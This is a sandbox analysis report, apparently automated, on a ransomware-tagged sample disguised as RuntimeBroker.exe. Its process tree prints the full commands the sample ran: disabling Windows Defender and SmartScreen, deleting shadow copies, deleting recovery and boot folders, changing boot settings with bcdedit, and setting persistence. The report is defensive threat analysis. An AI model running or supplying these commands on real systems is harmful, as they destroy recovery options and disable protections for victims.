ed82372bc663a2c8e47c7e4248df066bb836c4138c434935fce7f409dc3e98a5

Analysis

max time kernel
10s
max time network
5s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/09/2026, 17:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
RuntimeBroker.exe
Size 7.3MB
Sample260922-v1y2jsbd96
SHA256 ed82372bc663a2c8e47c7e4248df066bb836c4138c434935fce7f409dc3e98a5
MD5 981a4f38b35cd917fbf0617418986c10
SHA1 e1b47ab02917d86c64317826562c679338ab91a2
SHA512 181f6372e328c726ff5c999a165eed2679a31f357e3e761ac2856f33c2befb94591361254708b26118ab62570197c02969dae59f50ebdc7e2e333f0380988644
SSDEEP 196608:IILcL4v4Ea0jajUwqnpkevna4ymoUFk+fv10mFG3Km+S:IILcECrAnpTnaSFk+lvFG3KxS
TLSH
T19D7633D17AF602F2D5A381B9CD4244C6D921B85C0335BAF74B5552A3AE2F2E8CDBB350
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution exploit impact persistence ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 9 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
7692	bcdedit.exe
8064	bcdedit.exe
7328	bcdedit.exe
2580	bcdedit.exe
6736	bcdedit.exe
3476	bcdedit.exe
2920	bcdedit.exe
8828	bcdedit.exe
7844	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3068	powershell.exe
8728	powershell.exe

Possible privilege escalation attempt 49 IoCs

exploit

pid	Process
6528	takeown.exe
9120	takeown.exe
8948	takeown.exe
8744	takeown.exe
8664	takeown.exe
4104	icacls.exe
5468	icacls.exe
6512	takeown.exe
9104	icacls.exe
8532	icacls.exe
8520	takeown.exe
8860	icacls.exe
7684	takeown.exe
8288	icacls.exe
3396	icacls.exe
9152	icacls.exe
8836	takeown.exe
8812	icacls.exe
2224	takeown.exe
8844	takeown.exe
5636	icacls.exe
4268	icacls.exe
8064	icacls.exe
9168	icacls.exe
8376	icacls.exe
6652	takeown.exe
6376	icacls.exe
7336	icacls.exe
9112	takeown.exe
4500	takeown.exe
5908	takeown.exe
8368	takeown.exe
8852	takeown.exe
8656	icacls.exe
8296	takeown.exe
7864	takeown.exe
8372	icacls.exe
8804	takeown.exe
7172	icacls.exe
7668	takeown.exe
8540	icacls.exe
9064	icacls.exe
9160	icacls.exe
8736	takeown.exe
8760	icacls.exe
1924	takeown.exe
5664	takeown.exe
9128	takeown.exe
7844	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Loads dropped DLL 8 IoCs

pid	Process
204	RuntimeBroker.exe
204	RuntimeBroker.exe
204	RuntimeBroker.exe
204	RuntimeBroker.exe
204	RuntimeBroker.exe
204	RuntimeBroker.exe
204	RuntimeBroker.exe
204	RuntimeBroker.exe

Modifies file permissions 1 TTPs 49 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
8852	takeown.exe
8836	takeown.exe
8736	takeown.exe
8744	takeown.exe
5908	takeown.exe
7844	icacls.exe
9168	icacls.exe
1924	takeown.exe
8656	icacls.exe
8296	takeown.exe
7864	takeown.exe
4104	icacls.exe
7668	takeown.exe
9104	icacls.exe
8860	icacls.exe
8804	takeown.exe
8760	icacls.exe
8368	takeown.exe
8288	icacls.exe
5664	takeown.exe
6512	takeown.exe
9120	takeown.exe
8948	takeown.exe
4500	takeown.exe
7172	icacls.exe
6528	takeown.exe
7684	takeown.exe
8540	icacls.exe
4268	icacls.exe
8064	icacls.exe
9160	icacls.exe
9152	icacls.exe
7336	icacls.exe
5636	icacls.exe
9112	takeown.exe
3396	icacls.exe
8844	takeown.exe
8532	icacls.exe
8520	takeown.exe
6652	takeown.exe
9128	takeown.exe
8812	icacls.exe
8664	takeown.exe
8376	icacls.exe
8372	icacls.exe
6376	icacls.exe
2224	takeown.exe
5468	icacls.exe
9064	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
8368	sc.exe
2588	sc.exe
6276	sc.exe
6468	sc.exe
7044	sc.exe
9144	sc.exe
4552	sc.exe
6716	sc.exe
7024	sc.exe
7032	sc.exe
8868	sc.exe
8776	sc.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1144	cmd.exe
5836	cmd.exe
1548	cmd.exe
5392	cmd.exe
8228	cmd.exe
6608	cmd.exe
4204	cmd.exe
5168	cmd.exe
6140	cmd.exe
2632	cmd.exe
2580	cmd.exe
696	cmd.exe
7752	cmd.exe
4788	cmd.exe
6084	cmd.exe
7100	cmd.exe
5976	cmd.exe
4940	cmd.exe
1328	cmd.exe
6068	cmd.exe
8896	cmd.exe
5636	cmd.exe
4532	cmd.exe
5052	cmd.exe
2892	cmd.exe
6008	cmd.exe
1192	cmd.exe
7540	cmd.exe
9184	cmd.exe
5044	cmd.exe
2812	cmd.exe
8700	cmd.exe
8472	cmd.exe
4316	cmd.exe
4260	cmd.exe
2312	cmd.exe
5904	cmd.exe
4644	cmd.exe
8480	cmd.exe
5796	cmd.exe
7588	cmd.exe
256	cmd.exe
7044	cmd.exe
8076	cmd.exe
3468	cmd.exe
880	cmd.exe
7728	cmd.exe
7344	cmd.exe
2520	cmd.exe
1268	cmd.exe
2952	cmd.exe
6040	cmd.exe
3280	cmd.exe
2968	cmd.exe
1324	cmd.exe
3680	cmd.exe
6872	cmd.exe
8212	cmd.exe
1740	cmd.exe
2708	cmd.exe
6280	cmd.exe
7716	cmd.exe
8388	cmd.exe
3588	cmd.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
8960	vssadmin.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
9096	taskkill.exe
4624	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
7396	schtasks.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4768 wrote to memory of 204	4768	RuntimeBroker.exe	89
PID 204 wrote to memory of 4204	204	RuntimeBroker.exe	90
PID 204 wrote to memory of 5420	204	RuntimeBroker.exe	91
PID 204 wrote to memory of 5032	204	RuntimeBroker.exe	92
PID 204 wrote to memory of 5632	204	RuntimeBroker.exe	93
PID 204 wrote to memory of 6008	204	RuntimeBroker.exe	94
PID 204 wrote to memory of 5904	204	RuntimeBroker.exe	95
PID 204 wrote to memory of 5480	204	RuntimeBroker.exe	96
PID 204 wrote to memory of 1740	204	RuntimeBroker.exe	97
PID 204 wrote to memory of 4240	204	RuntimeBroker.exe	98
PID 204 wrote to memory of 2900	204	RuntimeBroker.exe	99
PID 204 wrote to memory of 2584	204	RuntimeBroker.exe	100
PID 204 wrote to memory of 696	204	RuntimeBroker.exe	101
PID 204 wrote to memory of 576	204	RuntimeBroker.exe	102
PID 204 wrote to memory of 4260	204	RuntimeBroker.exe	103
PID 4204 wrote to memory of 3068	4204	cmd.exe	118
PID 204 wrote to memory of 3280	204	RuntimeBroker.exe	119
PID 204 wrote to memory of 3680	204	RuntimeBroker.exe	120
PID 204 wrote to memory of 6040	204	RuntimeBroker.exe	121

C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
  C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4204
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop WinDefend"
    3⤵
    PID:5420
  - - C:\Windows\system32\sc.exe
      sc stop WinDefend
      4⤵
      Launches sc.exe
      PID:6716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config WinDefend start= disabled"
    3⤵
    PID:5032
  - - C:\Windows\system32\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:6468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop WdNisSvc"
    3⤵
    PID:5632
  - - C:\Windows\system32\sc.exe
      sc stop WdNisSvc
      4⤵
      Launches sc.exe
      PID:4552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config WdNisSvc start= disabled"
    3⤵
    - Executes a command shell one-liner
    PID:6008
  - - C:\Windows\system32\sc.exe
      sc config WdNisSvc start= disabled
      4⤵
      Launches sc.exe
      PID:6276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop Sense"
    3⤵
    - Executes a command shell one-liner
    PID:5904
  - - C:\Windows\system32\sc.exe
      sc stop Sense
      4⤵
      Launches sc.exe
      PID:2588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config Sense start= disabled"
    3⤵
    PID:5480
  - - C:\Windows\system32\sc.exe
      sc config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:7024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop SecurityHealthService"
    3⤵
    - Executes a command shell one-liner
    PID:1740
  - - C:\Windows\system32\sc.exe
      sc stop SecurityHealthService
      4⤵
      Launches sc.exe
      PID:7032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config SecurityHealthService start= disabled"
    3⤵
    PID:4240
  - - C:\Windows\system32\sc.exe
      sc config SecurityHealthService start= disabled
      4⤵
      Launches sc.exe
      PID:7044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f"
    3⤵
    PID:2900
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f
      4⤵
      PID:6520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f"
    3⤵
    PID:2584
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f
      4⤵
      PID:6816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:696
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
      4⤵
      PID:5664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
    3⤵
    PID:576
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:6872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    PID:4260
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:6772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v WindowsUpdateCheck /t REG_SZ /d "\"C:\Windows\Temp\RuntimeBrokerHelper.exe\"" /f"
    3⤵
    - Executes a command shell one-liner
    PID:3280
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v WindowsUpdateCheck /t REG_SZ /d "\"C:\Windows\Temp\RuntimeBrokerHelper.exe\"" /f
      4⤵
      PID:8752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN "WindowsUpdateCheck" /TR "\"C:\Windows\Temp\RuntimeBrokerHelper.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /F"
    3⤵
    - Executes a command shell one-liner
    PID:3680
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN "WindowsUpdateCheck" /TR "\"C:\Windows\Temp\RuntimeBrokerHelper.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
    3⤵
    - Executes a command shell one-liner
    PID:6040
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:8960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic shadowcopy delete"
    3⤵
    - Executes a command shell one-liner
    PID:6068
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:7296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Disable-ComputerRestore -Drive C:\""
    3⤵
    - Executes a command shell one-liner
    PID:1144
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Disable-ComputerRestore -Drive C:\"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:8728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
    3⤵
    PID:4556
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
      4⤵
      PID:9136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    PID:1328
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
      4⤵
      PID:7676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reagentc /disable"
    3⤵
    - Executes a command shell one-liner
    PID:2312
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:8968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Recovery" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:1324
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Recovery" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Recovery" /grant Administrators:F /t /c /q"
    3⤵
    PID:2720
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Recovery" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Recovery""
    3⤵
    - Executes a command shell one-liner
    PID:2580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\Recovery" /r /d y"
    3⤵
    PID:2716
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\Recovery" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Recovery" /grant Administrators:F /t /c /q"
    3⤵
    PID:1104
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\Recovery" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Windows\System32\Recovery""
    3⤵
    PID:5164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\winre.wim" /r /d y"
    3⤵
    PID:4144
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\winre.wim" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\winre.wim" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:5796
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\winre.wim" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\Recovery\winre.wim" /r /d y"
    3⤵
    PID:4140
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\Recovery\winre.wim" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Recovery\winre.wim" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:5392
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\Recovery\winre.wim" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Recovery\WindowsRE" /r /d y"
    3⤵
    PID:3408
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Recovery\WindowsRE" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Recovery\WindowsRE" /grant Administrators:F /t /c /q"
    3⤵
    PID:5568
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Recovery\WindowsRE" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Recovery\WindowsRE""
    3⤵
    PID:3412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\DVD" /r /d y"
    3⤵
    PID:1576
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\DVD" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\DVD" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:2968
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot\DVD" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Windows\Boot\DVD""
    3⤵
    - Executes a command shell one-liner
    PID:5636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\PCAT" /r /d y"
    3⤵
    PID:2268
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\PCAT" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\PCAT" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:2892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot\PCAT" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Windows\Boot\PCAT""
    3⤵
    - Executes a command shell one-liner
    PID:2632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\EFI" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:4940
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\EFI" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\EFI" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:1548
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot\EFI" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Windows\Boot\EFI""
    3⤵
    PID:5012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\RegBack" /r /d y"
    3⤵
    PID:3352
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\config\RegBack" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\RegBack" /grant Administrators:F /t /c /q"
    3⤵
    PID:1240
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\config\RegBack" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Windows\System32\config\RegBack""
    3⤵
    PID:4760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\System Volume Information" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:6084
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\System Volume Information" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\System Volume Information" /grant Administrators:F /t /c /q"
    3⤵
    PID:2356
  - - C:\Windows\system32\icacls.exe
      icacls "C:\System Volume Information" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\System Volume Information""
    3⤵
    PID:2764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} recoveryenabled No"
    3⤵
    - Executes a command shell one-liner
    PID:5052
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
    3⤵
    - Executes a command shell one-liner
    PID:6140
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {bootmgr} recoveryenabled No"
    3⤵
    PID:1528
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {bootmgr} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:7328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} bootstatuspolicy ignoreallfailures"
    3⤵
    - Executes a command shell one-liner
    PID:2952
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config VSS start= disabled"
    3⤵
    PID:3388
  - - C:\Windows\system32\sc.exe
      sc config VSS start= disabled
      4⤵
      Launches sc.exe
      PID:8776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop VSS"
    3⤵
    - Executes a command shell one-liner
    PID:4532
  - - C:\Windows\system32\sc.exe
      sc stop VSS
      4⤵
      Launches sc.exe
      PID:8868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"
    3⤵
    PID:2964
  - - C:\Windows\system32\sc.exe
      sc config swprv start= disabled
      4⤵
      Launches sc.exe
      PID:8368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop swprv"
    3⤵
    - Executes a command shell one-liner
    PID:2812
  - - C:\Windows\system32\sc.exe
      sc stop swprv
      4⤵
      Launches sc.exe
      PID:9144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /deletevalue {fwbootmgr} displayorder"
    3⤵
    PID:2120
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {fwbootmgr} displayorder
      4⤵
      Modifies boot configuration data using bcdedit
      PID:7844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {fwbootmgr} displayorder {bootmgr}"
    3⤵
    PID:5912
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {fwbootmgr} displayorder {bootmgr}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:7692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {bootmgr} timeout 0"
    3⤵
    PID:4164
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {bootmgr} timeout 0
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} bootstatuspolicy ignoreallfailures"
    3⤵
    PID:936
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:6736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {fwbootmgr} bootsequence {bootmgr}"
    3⤵
    PID:4084
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {fwbootmgr} bootsequence {bootmgr}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\EFI\bootmgfw.efi" /r /d y"
    3⤵
    PID:5952
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\EFI\bootmgfw.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7864
- - C:\Windows\system32\cmd.exe
